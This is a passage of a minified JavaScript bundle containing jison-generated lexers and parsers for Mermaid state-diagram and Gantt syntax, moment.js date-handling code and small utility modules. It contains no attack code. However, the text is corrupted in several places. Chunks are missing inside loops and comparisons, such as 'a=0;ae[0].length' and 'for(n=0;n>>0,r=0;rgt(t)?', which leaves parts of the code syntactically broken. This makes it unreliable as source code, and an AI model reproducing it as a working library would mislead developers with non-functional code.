this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:n?(n.length===r.length?this.yylloc.first_column:0)+r[r.length-n.length].length-n[0].length:this.yylloc.first_column-e},this.options.ranges&&(this.yylloc.range=[i[0],i[0]+this.yyleng-e]),this.yyleng=this.yytext.length,this},more:function(){return this._more=!0,this},reject:function(){return this.options.backtrack_lexer?(this._backtrack=!0,this):this.parseError("Lexical error on line "+(this.yylineno+1)+". You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true).\n"+this.showPosition(),{text:"",token:null,line:this.yylineno})},less:function(t){this.unput(this.match.slice(t))},pastInput:function(){var t=this.matched.substr(0,this.matched.length-this.match.length);return(t.length>20?"...":"")+t.substr(-20).replace(/\n/g,"")},upcomingInput:function(){var t=this.match;return t.length<20&&(t+=this._input.substr(0,20-t.length)),(t.substr(0,20)+(t.length>20?"...":"")).replace(/\n/g,"")},showPosition:function(){var t=this.pastInput(),e=new Array(t.length+1).join("-");return t+this.upcomingInput()+"\n"+e+"^"},test_match:function(t,e){var n,r,i;if(this.options.backtrack_lexer&&(i={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(i.yylloc.range=this.yylloc.range.slice(0))),(r=t[0].match(/(?:\r\n?|\n).*/g))&&(this.yylineno+=r.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:r?r[r.length-1].length-r[r.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+t[0].length},this.yytext+=t[0],this.match+=t[0],this.matches=t,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(t[0].length),this.matched+=t[0],n=this.performAction.call(this,this.yy,this,e,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),n)return n;if(this._backtrack){for(var a in i)this[a]=i[a];return!1}return!1},next:function(){if(this.done)return this.EOF;var t,e,n,r;this._input||(this.done=!0),this._more||(this.yytext="",this.match="");for(var i=this._currentRules(),a=0;ae[0].length)){if(e=n,r=a,this.options.backtrack_lexer){if(!1!==(t=this.test_match(n,i[a])))return t;if(this._backtrack){e=!1;continue}return!1}if(!this.options.flex)break}return e?!1!==(t=this.test_match(e,i[r]))&&t:""===this._input?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+". Unrecognized text.\n"+this.showPosition(),{text:"",token:null,line:this.yylineno})},lex:function(){var t=this.next();return t||this.lex()},begin:function(t){this.conditionStack.push(t)},popState:function(){return this.conditionStack.length-1>0?this.conditionStack.pop():this.conditionStack[0]},_currentRules:function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},topState:function(t){return(t=this.conditionStack.length-1-Math.abs(t||0))>=0?this.conditionStack[t]:"INITIAL"},pushState:function(t){this.begin(t)},stateStackSize:function(){return this.conditionStack.length},options:{"case-insensitive":!0},performAction:function(t,e,n,r){switch(n){case 0:return 36;case 1:return 37;case 2:return 38;case 3:return 39;case 4:return this.begin("open_directive"),45;case 5:return this.begin("type_directive"),46;case 6:return this.popState(),this.begin("arg_directive"),34;case 7:return this.popState(),this.popState(),48;case 8:return 47;case 9:case 10:break;case 11:return 5;case 12:case 13:case 14:case 15:break;case 16:return this.pushState("SCALE"),15;case 17:return 16;case 18:this.popState();break;case 19:this.pushState("STATE");break;case 20:return this.popState(),e.yytext=e.yytext.slice(0,-8).trim(),23;case 21:return this.popState(),e.yytext=e.yytext.slice(0,-8).trim(),24;case 22:return this.popState(),e.yytext=e.yytext.slice(0,-10).trim(),25;case 23:return this.popState(),e.yytext=e.yytext.slice(0,-8).trim(),23;case 24:return this.popState(),e.yytext=e.yytext.slice(0,-8).trim(),24;case 25:return this.popState(),e.yytext=e.yytext.slice(0,-10).trim(),25;case 26:return 36;case 27:return 37;case 28:return 38;case 29:return 39;case 30:this.begin("STATE_STRING");break;case 31:return this.popState(),this.pushState("STATE_ID"),"AS";case 32:return this.popState(),"ID";case 33:this.popState();break;case 34:return"STATE_DESCR";case 35:return 17;case 36:this.popState();break;case 37:return this.popState(),this.pushState("struct"),18;case 38:return this.popState(),19;case 39:break;case 40:return this.begin("NOTE"),27;case 41:return this.popState(),this.pushState("NOTE_ID"),43;case 42:return this.popState(),this.pushState("NOTE_ID"),44;case 43:this.popState(),this.pushState("FLOATING_NOTE");break;case 44:return this.popState(),this.pushState("FLOATING_NOTE_ID"),"AS";case 45:break;case 46:return"NOTE_TEXT";case 47:return this.popState(),"ID";case 48:return this.popState(),this.pushState("NOTE_TEXT"),22;case 49:return this.popState(),e.yytext=e.yytext.substr(2).trim(),29;case 50:return this.popState(),e.yytext=e.yytext.slice(0,-8).trim(),29;case 51:case 52:return 7;case 53:return 14;case 54:return 42;case 55:return 22;case 56:return e.yytext=e.yytext.trim(),12;case 57:return 13;case 58:return 26;case 59:return 5;case 60:return"INVALID"}},rules:[/^(?:.*direction\s+TB[^\n]*)/i,/^(?:.*direction\s+BT[^\n]*)/i,/^(?:.*direction\s+RL[^\n]*)/i,/^(?:.*direction\s+LR[^\n]*)/i,/^(?:%%\{)/i,/^(?:((?:(?!\}%%)[^:.])*))/i,/^(?::)/i,/^(?:\}%%)/i,/^(?:((?:(?!\}%%).|\n)*))/i,/^(?:%%(?!\{)[^\n]*)/i,/^(?:[^\}]%%[^\n]*)/i,/^(?:[\n]+)/i,/^(?:[\s]+)/i,/^(?:((?!\n)\s)+)/i,/^(?:#[^\n]*)/i,/^(?:%[^\n]*)/i,/^(?:scale\s+)/i,/^(?:\d+)/i,/^(?:\s+width\b)/i,/^(?:state\s+)/i,/^(?:.*<>)/i,/^(?:.*<>)/i,/^(?:.*<>)/i,/^(?:.*\[\[fork\]\])/i,/^(?:.*\[\[join\]\])/i,/^(?:.*\[\[choice\]\])/i,/^(?:.*direction\s+TB[^\n]*)/i,/^(?:.*direction\s+BT[^\n]*)/i,/^(?:.*direction\s+RL[^\n]*)/i,/^(?:.*direction\s+LR[^\n]*)/i,/^(?:["])/i,/^(?:\s*as\s+)/i,/^(?:[^\n\{]*)/i,/^(?:["])/i,/^(?:[^"]*)/i,/^(?:[^\n\s\{]+)/i,/^(?:\n)/i,/^(?:\{)/i,/^(?:\})/i,/^(?:[\n])/i,/^(?:note\s+)/i,/^(?:left of\b)/i,/^(?:right of\b)/i,/^(?:")/i,/^(?:\s*as\s*)/i,/^(?:["])/i,/^(?:[^"]*)/i,/^(?:[^\n]*)/i,/^(?:\s*[^:\n\s\-]+)/i,/^(?:\s*:[^:\n;]+)/i,/^(?:[\s\S]*?end note\b)/i,/^(?:stateDiagram\s+)/i,/^(?:stateDiagram-v2\s+)/i,/^(?:hide empty description\b)/i,/^(?:\[\*\])/i,/^(?:[^:\n\s\-\{]+)/i,/^(?:\s*:[^:\n;]+)/i,/^(?:-->)/i,/^(?:--)/i,/^(?:$)/i,/^(?:.)/i],conditions:{LINE:{rules:[13,14],inclusive:!1},close_directive:{rules:[13,14],inclusive:!1},arg_directive:{rules:[7,8,13,14],inclusive:!1},type_directive:{rules:[6,7,13,14],inclusive:!1},open_directive:{rules:[5,13,14],inclusive:!1},struct:{rules:[13,14,19,26,27,28,29,38,39,40,54,55,56,57,58],inclusive:!1},FLOATING_NOTE_ID:{rules:[47],inclusive:!1},FLOATING_NOTE:{rules:[44,45,46],inclusive:!1},NOTE_TEXT:{rules:[49,50],inclusive:!1},NOTE_ID:{rules:[48],inclusive:!1},NOTE:{rules:[41,42,43],inclusive:!1},SCALE:{rules:[17,18],inclusive:!1},ALIAS:{rules:[],inclusive:!1},STATE_ID:{rules:[32],inclusive:!1},STATE_STRING:{rules:[33,34],inclusive:!1},FORK_STATE:{rules:[],inclusive:!1},STATE:{rules:[13,14,20,21,22,23,24,25,30,31,35,36,37],inclusive:!1},ID:{rules:[13,14],inclusive:!1},INITIAL:{rules:[0,1,2,3,4,9,10,11,12,14,15,16,19,37,40,51,52,53,54,55,56,57,59,60],inclusive:!0}}};function N(){this.yy={}}return A.lexer=M,N.prototype=A,A.Parser=N,new N}();e.parser=i,e.Parser=i.Parser,e.parse=function(){return i.parse.apply(i,arguments)},e.main=function(r){r[1]||(console.log("Usage: "+r[0]+" FILE"),t.exit(1));var i=n(16).readFileSync(n(17).normalize(r[1]),"utf8");return e.parser.parse(i)},n.c[n.s]===r&&e.main(t.argv.slice(1))}).call(this,n(11),n(6)(t))},function(t,e,n){(function(t){t.exports=function(){"use strict";var e,r;function i(){return e.apply(null,arguments)}function a(t){return t instanceof Array||"[object Array]"===Object.prototype.toString.call(t)}function o(t){return null!=t&&"[object Object]"===Object.prototype.toString.call(t)}function s(t){return void 0===t}function u(t){return"number"==typeof t||"[object Number]"===Object.prototype.toString.call(t)}function c(t){return t instanceof Date||"[object Date]"===Object.prototype.toString.call(t)}function l(t,e){var n,r=[];for(n=0;n>>0,r=0;rgt(t)?(a=t+1,s-gt(t)):(a=t,s),{year:a,dayOfYear:o}}function It(t,e,n){var r,i,a=Bt(t.year(),e,n),o=Math.floor((t.dayOfYear()-a-1)/7)+1;return o<1?r=o+Rt(i=t.year()-1,e,n):o>Rt(t.year(),e,n)?(r=o-Rt(t.year(),e,n),i=t.year()+1):(i=t.year(),r=o),{week:r,year:i}}function Rt(t,e,n){var r=Bt(t,e,n),i=Bt(t+1,e,n);return(gt(t)-r+i)/7}function Ft(t,e){return t.slice(e,7).concat(t.slice(0,e))}H("w",["ww",2],"wo","week"),H("W",["WW",2],"Wo","isoWeek"),L("week","w"),L("isoWeek","W"),P("week",5),P("isoWeek",5),lt("w",K),lt("ww",K,G),lt("W",K),lt("WW",K,G),yt(["w","ww","W","WW"],(function(t,e,n,r){e[r.substr(0,1)]=k(t)})),H("d",0,"do","day"),H("dd",0,0,(function(t){return this.localeData().weekdaysMin(this,t)})),H("ddd",0,0,(function(t){return this.localeData().weekdaysShort(this,t)})),H("dddd",0,0,(function(t){return this.localeData().weekdays(this,t)})),H("e",0,0,"weekday"),H("E",0,0,"isoWeekday"),L("day","d"),L("weekday","e"),L("isoWeekday","E"),P("day",11),P("weekday",11),P("isoWeekday",11),lt("d",K),lt("e",K),lt("E",K),lt("dd",(function(t,e){return e.weekdaysMinRegex(t)})),lt("ddd",(function(t,e){return e.weekdaysShortRegex(t)})),lt("dddd",(function(t,e){return e.weekdaysRegex(t)})),yt(["dd","ddd","dddd"],(function(t,e,n,r){var i=n._locale.weekdaysParse(t,r,n._strict);null!=i?e.d=i:p(n).invalidWeekday=t})),yt(["d","e","E"],(function(t,e,n,r){e[r]=k(t)}));var Pt="Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),jt="Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),Yt="Su_Mo_Tu_We_Th_Fr_Sa".split("_"),Ut=ut,zt=ut,qt=ut;function Ht(){function t(t,e){return e.length-t.length}var e,n,r,i,a,o=[],s=[],u=[],c=[];for(e=0;e<7;e++)n=d([2e3,1]).day(e),r=this.weekdaysMin(n,""),i=this.weekdaysShort(n,""),a=this.weekdays(n,""),o.push(r),s.push(i),u.push(a),c.push(r),c.push(i),c.push(a);for(o.sort(t),s.sort(t),u.sort(t),c.sort(t),e=0;e<7;e++)s[e]=ft(s[e]),u[e]=ft(u[e]),c[e]=ft(c[e]);this._weekdaysRegex=new RegExp("^("+c.join("|")+")","i"),this._weekdaysShortRegex=this._weekdaysRegex,this._weekdaysMinRegex=this._weekdaysRegex,this._weekdaysStrictRegex=new RegExp("^("+u.join("|")+")","i"),this._weekdaysShortStrictRegex=new RegExp("^("+s.join("|")+")","i"),this._weekdaysMinStrictRegex=new RegExp("^("+o.join("|")+")","i")}function $t(){return this.hours()%12||12}function Wt(t,e){H(t,0,0,(function(){return this.localeData().meridiem(this.hours(),this.minutes(),e)}))}function Vt(t,e){return e._meridiemParse}H("H",["HH",2],0,"hour"),H("h",["hh",2],0,$t),H("k",["kk",2],0,(function(){return this.hours()||24})),H("hmm",0,0,(function(){return""+$t.apply(this)+j(this.minutes(),2)})),H("hmmss",0,0,(function(){return""+$t.apply(this)+j(this.minutes(),2)+j(this.seconds(),2)})),H("Hmm",0,0,(function(){return""+this.hours()+j(this.minutes(),2)})),H("Hmmss",0,0,(function(){return""+this.hours()+j(this.minutes(),2)+j(this.seconds(),2)})),Wt("a",!0),Wt("A",!1),L("hour","h"),P("hour",13),lt("a",Vt),lt("A",Vt),lt("H",K),lt("h",K),lt("k",K),lt("HH",K,G),lt("hh",K,G),lt("kk",K,G),lt("hmm",J),lt("hmmss",tt),lt("Hmm",J),lt("Hmmss",tt),pt(["H","HH"],3),pt(["k","kk"],(function(t,e,n){var r=k(t);e[3]=24===r?0:r})),pt(["a","A"],(function(t,e,n){n._isPm=n._locale.isPM(t),n._meridiem=t})),pt(["h","hh"],(function(t,e,n){e[3]=k(t),p(n).bigHour=!0})),pt("hmm",(function(t,e,n){var r=t.length-2;e[3]=k(t.substr(0,r)),e[4]=k(t.substr(r)),p(n).bigHour=!0})),pt("hmmss",(function(t,e,n){var r=t.length-4,i=t.length-2;e[3]=k(t.substr(0,r)),e[4]=k(t.substr(r,2)),e[5]=k(t.substr(i)),p(n).bigHour=!0})),pt("Hmm",(function(t,e,n){var r=t.length-2;e[3]=k(t.substr(0,r)),e[4]=k(t.substr(r))})),pt("Hmmss",(function(t,e,n){var r=t.length-4,i=t.length-2;e[3]=k(t.substr(0,r)),e[4]=k(t.substr(r,2)),e[5]=k(t.substr(i))}));var Gt,Xt=_t("Hours",!0),Zt={calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},longDateFormat:{LTS:"h:mm:ss A",LT:"h:mm A",L:"MM/DD/YYYY",LL:"MMMM D, YYYY",LLL:"MMMM D, YYYY h:mm A",LLLL:"dddd, MMMM D, YYYY h:mm A"},invalidDate:"Invalid date",ordinal:"%d",dayOfMonthOrdinalParse:/\d{1,2}/,relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},months:Et,monthsShort:Ct,week:{dow:0,doy:6},weekdays:Pt,weekdaysMin:Yt,weekdaysShort:jt,meridiemParse:/[ap]\.?m?\.?/i},Qt={},Kt={};function Jt(t){return t?t.toLowerCase().replace("_","-"):t}function te(e){var r=null;if(!Qt[e]&&void 0!==t&&t&&t.exports)try{r=Gt._abbr,n(356)("./"+e),ee(r)}catch(e){}return Qt[e]}function ee(t,e){var n;return t&&((n=s(e)?re(t):ne(t,e))?Gt=n:"undefined"!=typeof console&&console.warn&&console.warn("Locale "+t+" not found. Did you forget to load it?")),Gt._abbr}function ne(t,e){if(null===e)return delete Qt[t],null;var n,r=Zt;if(e.abbr=t,null!=Qt[t])M("defineLocaleOverride","use moment.updateLocale(localeName, config) to change an existing locale. moment.defineLocale(localeName, config) should only be used for creating a new locale See http://momentjs.com/guides/#/warnings/define-locale/ for more info."),r=Qt[t]._config;else if(null!=e.parentLocale)if(null!=Qt[e.parentLocale])r=Qt[e.parentLocale]._config;else{if(null==(n=te(e.parentLocale)))return Kt[e.parentLocale]||(Kt[e.parentLocale]=[]),Kt[e.parentLocale].push({name:t,config:e}),null;r=n._config}return Qt[t]=new D(O(r,e)),Kt[t]&&Kt[t].forEach((function(t){ne(t.name,t.config)})),ee(t),Qt[t]}function re(t){var e;if(t&&t._locale&&t._locale._abbr&&(t=t._locale._abbr),!t)return Gt;if(!a(t)){if(e=te(t))return e;t=[t]}return function(t){for(var e,n,r,i,a=0;a=e&&T(i,n,!0)>=e-1)break;e--}a++}return Gt}(t)}function ie(t){var e,n=t._a;return n&&-2===p(t).overflow&&(e=n[1]<0||11kt(n[0],n[1])?2:n[3]<0||24Rt(n,a,o)?p(t)._overflowWeeks=!0:null!=u?p(t)._overflowWeekday=!0:(s=Lt(n,r,i,a,o),t._a[0]=s.year,t._dayOfYear=s.dayOfYear)}(t),null!=t._dayOfYear&&(o=ae(t._a[0],r[0]),(t._dayOfYear>gt(o)||0===t._dayOfYear)&&(p(t)._overflowDayOfYear=!0),n=Dt(o,0,t._dayOfYear),t._a[1]=n.getUTCMonth(),t._a[2]=n.getUTCDate()),e=0;e<3&&null==t._a[e];++e)t._a[e]=s[e]=r[e];for(;e<7;e++)t._a[e]=s[e]=null==t._a[e]?2===e?1:0:t._a[e];24===t._a[3]&&0===t._a[4]&&0===t._a[5]&&0===t._a[6]&&(t._nextDay=!0,t._a[3]=0),t._d=(t._useUTC?Dt:function(t,e,n,r,i,a,o){var s;return t<100&&0<=t?(s=new Date(t+400,e,n,r,i,a,o),isFinite(s.getFullYear())&&s.setFullYear(t)):s=new Date(t,e,n,r,i,a,o),s}).apply(null,s),a=t._useUTC?t._d.getUTCDay():t._d.getDay(),null!=t._tzm&&t._d.setUTCMinutes(t._d.getUTCMinutes()-t._tzm),t._nextDay&&(t._a[3]=24),t._w&&void 0!==t._w.d&&t._w.d!==a&&(p(t).weekdayMismatch=!0)}}var se=/^\s*((?:[+-]\d{6}|\d{4})-(?:\d\d-\d\d|W\d\d-\d|W\d\d|\d\d\d|\d\d))(?:(T| )(\d\d(?::\d\d(?::\d\d(?:[.,]\d+)?)?)?)([\+\-]\d\d(?::?\d\d)?|\s*Z)?)?$/,ue=/^\s*((?:[+-]\d{6}|\d{4})(?:\d\d\d\d|W\d\d\d|W\d\d|\d\d\d|\d\d))(?:(T| )(\d\d(?:\d\d(?:\d\d(?:[.,]\d+)?)?)?)([\+\-]\d\d(?::?\d\d)?|\s*Z)?)?$/,ce=/Z|[+-]\d\d(?::?\d\d)?/,le=[["YYYYYY-MM-DD",/[+-]\d{6}-\d\d-\d\d/],["YYYY-MM-DD",/\d{4}-\d\d-\d\d/],["GGGG-[W]WW-E",/\d{4}-W\d\d-\d/],["GGGG-[W]WW",/\d{4}-W\d\d/,!1],["YYYY-DDD",/\d{4}-\d{3}/],["YYYY-MM",/\d{4}-\d\d/,!1],["YYYYYYMMDD",/[+-]\d{10}/],["YYYYMMDD",/\d{8}/],["GGGG[W]WWE",/\d{4}W\d{3}/],["GGGG[W]WW",/\d{4}W\d{2}/,!1],["YYYYDDD",/\d{7}/]],he=[["HH:mm:ss.SSSS",/\d\d:\d\d:\d\d\.\d+/],["HH:mm:ss,SSSS",/\d\d:\d\d:\d\d,\d+/],["HH:mm:ss",/\d\d:\d\d:\d\d/],["HH:mm",/\d\d:\d\d/],["HHmmss.SSSS",/\d\d\d\d\d\d\.\d+/],["HHmmss,SSSS",/\d\d\d\d\d\d,\d+/],["HHmmss",/\d\d\d\d\d\d/],["HHmm",/\d\d\d\d/],["HH",/\d\d/]],fe=/^\/?Date\((\-?\d+)/i;function de(t){var e,n,r,i,a,o,s=t._i,u=se.exec(s)||ue.exec(s);if(u){for(p(t).iso=!0,e=0,n=le.length;en.valueOf():n.valueOf()this.clone().month(0).utcOffset()||this.utcOffset()>this.clone().month(5).utcOffset()},on.isLocal=function(){return!!this.isValid()&&!this._isUTC},on.isUtcOffset=function(){return!!this.isValid()&&this._isUTC},on.isUtc=Be,on.isUTC=Be,on.zoneAbbr=function(){return this._isUTC?"UTC":""},on.zoneName=function(){return this._isUTC?"Coordinated Universal Time":""},on.dates=C("dates accessor is deprecated. Use date instead.",Je),on.months=C("months accessor is deprecated. Use month instead",At),on.years=C("years accessor is deprecated. Use year instead",bt),on.zone=C("moment().zone is deprecated, use moment().utcOffset instead. http://momentjs.com/guides/#/warnings/zone/",(function(t,e){return null!=t?("string"!=typeof t&&(t=-t),this.utcOffset(t,e),this):-this.utcOffset()})),on.isDSTShifted=C("isDSTShifted is deprecated. See http://momentjs.com/guides/#/warnings/dst-shifted/ for more information",(function(){if(!s(this._isDSTShifted))return this._isDSTShifted;var t={};if(m(t,this),(t=me(t))._a){var e=t._isUTC?d(t._a):_e(t._a);this._isDSTShifted=this.isValid()&&0h&&A.push("'"+this.terminals_[E]+"'");N=p.showPosition?"Parse error on line "+(u+1)+":\n"+p.showPosition()+"\nExpecting "+A.join(", ")+", got '"+(this.terminals_[_]||_)+"'":"Parse error on line "+(u+1)+": Unexpected "+(_==f?"end of input":"'"+(this.terminals_[_]||_)+"'"),this.parseError(N,{text:p.match,token:this.terminals_[_]||_,line:p.yylineno,loc:v,expected:A})}if(k[0]instanceof Array&&k.length>1)throw new Error("Parse Error: multiple actions possible at state: "+w+", token: "+_);switch(k[0]){case 1:n.push(_),i.push(p.yytext),a.push(p.yylloc),n.push(k[1]),_=null,x?(_=x,x=null):(c=p.yyleng,s=p.yytext,u=p.yylineno,v=p.yylloc,l>0&&l--);break;case 2:if(C=this.productions_[k[1]][1],M.$=i[i.length-C],M._$={first_line:a[a.length-(C||1)].first_line,last_line:a[a.length-1].last_line,first_column:a[a.length-(C||1)].first_column,last_column:a[a.length-1].last_column},m&&(M._$.range=[a[a.length-(C||1)].range[0],a[a.length-1].range[1]]),void 0!==(T=this.performAction.apply(M,[s,c,u,y.yy,k[1],i,a].concat(d))))return T;C&&(n=n.slice(0,-1*C*2),i=i.slice(0,-1*C),a=a.slice(0,-1*C)),n.push(this.productions_[k[1]][0]),i.push(M.$),a.push(M._$),S=o[n[n.length-2]][n[n.length-1]],n.push(S);break;case 3:return!0}}return!0}},v={EOF:1,parseError:function(t,e){if(!this.yy.parser)throw new Error(t);this.yy.parser.parseError(t,e)},setInput:function(t,e){return this.yy=e||this.yy||{},this._input=t,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},input:function(){var t=this._input[0];return this.yytext+=t,this.yyleng++,this.offset++,this.match+=t,this.matched+=t,t.match(/(?:\r\n?|\n).*/g)?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),t},unput:function(t){var e=t.length,n=t.split(/(?:\r\n?|\n)/g);this._input=t+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-e),this.offset-=e;var r=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),n.length-1&&(this.yylineno-=n.length-1);var i=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:n?(n.length===r.length?this.yylloc.first_column:0)+r[r.length-n.length].length-n[0].length:this.yylloc.first_column-e},this.options.ranges&&(this.yylloc.range=[i[0],i[0]+this.yyleng-e]),this.yyleng=this.yytext.length,this},more:function(){return this._more=!0,this},reject:function(){return this.options.backtrack_lexer?(this._backtrack=!0,this):this.parseError("Lexical error on line "+(this.yylineno+1)+". You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true).\n"+this.showPosition(),{text:"",token:null,line:this.yylineno})},less:function(t){this.unput(this.match.slice(t))},pastInput:function(){var t=this.matched.substr(0,this.matched.length-this.match.length);return(t.length>20?"...":"")+t.substr(-20).replace(/\n/g,"")},upcomingInput:function(){var t=this.match;return t.length<20&&(t+=this._input.substr(0,20-t.length)),(t.substr(0,20)+(t.length>20?"...":"")).replace(/\n/g,"")},showPosition:function(){var t=this.pastInput(),e=new Array(t.length+1).join("-");return t+this.upcomingInput()+"\n"+e+"^"},test_match:function(t,e){var n,r,i;if(this.options.backtrack_lexer&&(i={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(i.yylloc.range=this.yylloc.range.slice(0))),(r=t[0].match(/(?:\r\n?|\n).*/g))&&(this.yylineno+=r.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:r?r[r.length-1].length-r[r.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+t[0].length},this.yytext+=t[0],this.match+=t[0],this.matches=t,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(t[0].length),this.matched+=t[0],n=this.performAction.call(this,this.yy,this,e,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),n)return n;if(this._backtrack){for(var a in i)this[a]=i[a];return!1}return!1},next:function(){if(this.done)return this.EOF;var t,e,n,r;this._input||(this.done=!0),this._more||(this.yytext="",this.match="");for(var i=this._currentRules(),a=0;ae[0].length)){if(e=n,r=a,this.options.backtrack_lexer){if(!1!==(t=this.test_match(n,i[a])))return t;if(this._backtrack){e=!1;continue}return!1}if(!this.options.flex)break}return e?!1!==(t=this.test_match(e,i[r]))&&t:""===this._input?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+". Unrecognized text.\n"+this.showPosition(),{text:"",token:null,line:this.yylineno})},lex:function(){var t=this.next();return t||this.lex()},begin:function(t){this.conditionStack.push(t)},popState:function(){return this.conditionStack.length-1>0?this.conditionStack.pop():this.conditionStack[0]},_currentRules:function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},topState:function(t){return(t=this.conditionStack.length-1-Math.abs(t||0))>=0?this.conditionStack[t]:"INITIAL"},pushState:function(t){this.begin(t)},stateStackSize:function(){return this.conditionStack.length},options:{"case-insensitive":!0},performAction:function(t,e,n,r){switch(n){case 0:return this.begin("open_directive"),33;case 1:return this.begin("type_directive"),34;case 2:return this.popState(),this.begin("arg_directive"),26;case 3:return this.popState(),this.popState(),36;case 4:return 35;case 5:case 6:case 7:break;case 8:return 11;case 9:case 10:case 11:break;case 12:this.begin("href");break;case 13:this.popState();break;case 14:return 31;case 15:this.begin("callbackname");break;case 16:this.popState();break;case 17:this.popState(),this.begin("callbackargs");break;case 18:return 29;case 19:this.popState();break;case 20:return 30;case 21:this.begin("click");break;case 22:this.popState();break;case 23:return 28;case 24:return 5;case 25:return 12;case 26:return 13;case 27:return 14;case 28:return 15;case 29:return 16;case 30:return 17;case 31:return"date";case 32:return 18;case 33:return 19;case 34:return 21;case 35:return 22;case 36:return 26;case 37:return 7;case 38:return"INVALID"}},rules:[/^(?:%%\{)/i,/^(?:((?:(?!\}%%)[^:.])*))/i,/^(?::)/i,/^(?:\}%%)/i,/^(?:((?:(?!\}%%).|\n)*))/i,/^(?:%%(?!\{)*[^\n]*)/i,/^(?:[^\}]%%*[^\n]*)/i,/^(?:%%*[^\n]*[\n]*)/i,/^(?:[\n]+)/i,/^(?:\s+)/i,/^(?:#[^\n]*)/i,/^(?:%[^\n]*)/i,/^(?:href[\s]+["])/i,/^(?:["])/i,/^(?:[^"]*)/i,/^(?:call[\s]+)/i,/^(?:\([\s]*\))/i,/^(?:\()/i,/^(?:[^(]*)/i,/^(?:\))/i,/^(?:[^)]*)/i,/^(?:click[\s]+)/i,/^(?:[\s\n])/i,/^(?:[^\s\n]*)/i,/^(?:gantt\b)/i,/^(?:dateFormat\s[^#\n;]+)/i,/^(?:inclusiveEndDates\b)/i,/^(?:topAxis\b)/i,/^(?:axisFormat\s[^#\n;]+)/i,/^(?:excludes\s[^#\n;]+)/i,/^(?:todayMarker\s[^\n;]+)/i,/^(?:\d\d\d\d-\d\d-\d\d\b)/i,/^(?:title\s[^#\n;]+)/i,/^(?:section\s[^#:\n;]+)/i,/^(?:[^#:\n;]+)/i,/^(?::[^#\n;]+)/i,/^(?::)/i,/^(?:$)/i,/^(?:.)/i],conditions:{close_directive:{rules:[],inclusive:!1},arg_directive:{rules:[3,4],inclusive:!1},type_directive:{rules:[2,3],inclusive:!1},open_directive:{rules:[1],inclusive:!1},callbackargs:{rules:[19,20],inclusive:!1},callbackname:{rules:[16,17,18],inclusive:!1},href:{rules:[13,14],inclusive:!1},click:{rules:[22,23],inclusive:!1},INITIAL:{rules:[0,5,6,7,8,9,10,11,12,15,21,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38],inclusive:!0}}};function m(){this.yy={}}return g.lexer=v,m.prototype=g,g.Parser=m,new m}();e.parser=i,e.Parser=i.Parser,e.parse=function(){return i.parse.apply(i,arguments)},e.main=function(r){r[1]||(console.log("Usage: "+r[0]+" FILE"),t.exit(1));var i=n(16).readFileSync(n(17).normalize(r[1]),"utf8");return e.parser.parse(i)},n.c[n.s]===r&&e.main(t.argv.slice(1))}).call(this,n(11),n(6)(t))},function(t,e,n){var r=n(41),i=n(95);t.exports=function(t){return null!=t&&i(t.length)&&!r(t)}},function(t,e,n){var r=n(415),i=n(425),a=n(38),o=n(4),s=n(432);t.exports=function(t){return"function"==typeof t?t:null==t?a:"object"==typeof 